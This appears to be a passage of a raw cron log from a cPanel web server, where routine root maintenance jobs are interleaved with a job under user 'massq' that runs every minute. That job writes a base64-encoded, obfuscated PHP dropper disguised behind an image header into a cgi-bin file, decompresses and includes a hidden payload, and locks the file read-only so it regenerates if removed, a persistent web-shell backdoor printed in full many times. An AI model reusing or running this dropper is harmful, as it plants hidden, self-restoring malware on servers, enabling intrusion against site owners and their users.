g5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 04:18:01 server CROND[32426]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 04:19:01 server CROND[32490]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 04:20:01 server CROND[32569]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 04:20:01 server CROND[32570]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 04:20:01 server CROND[32571]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 04:20:01 server CROND[32572]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 04:20:01 server CROND[32579]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 04:21:01 server CROND[32689]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 04:22:01 server CROND[32737]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 04:23:01 server CROND[445]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 04:24:01 server CROND[503]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 04:25:01 server CROND[572]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr 10 04:25:01 server CROND[573]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 04:25:01 server CROND[574]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 04:25:01 server CROND[575]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 04:26:01 server CROND[695]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 04:27:01 server CROND[751]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 04:27:01 server CROND[752]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 04:28:01 server CROND[812]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 04:29:01 server CROND[955]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 04:30:01 server CROND[1031]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/cull_bad_shunt)
Apr 10 04:30:01 server CROND[1034]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Apr 10 04:30:01 server CROND[1033]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 04:30:01 server CROND[1035]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 04:30:01 server CROND[1032]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 04:30:01 server CROND[1036]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
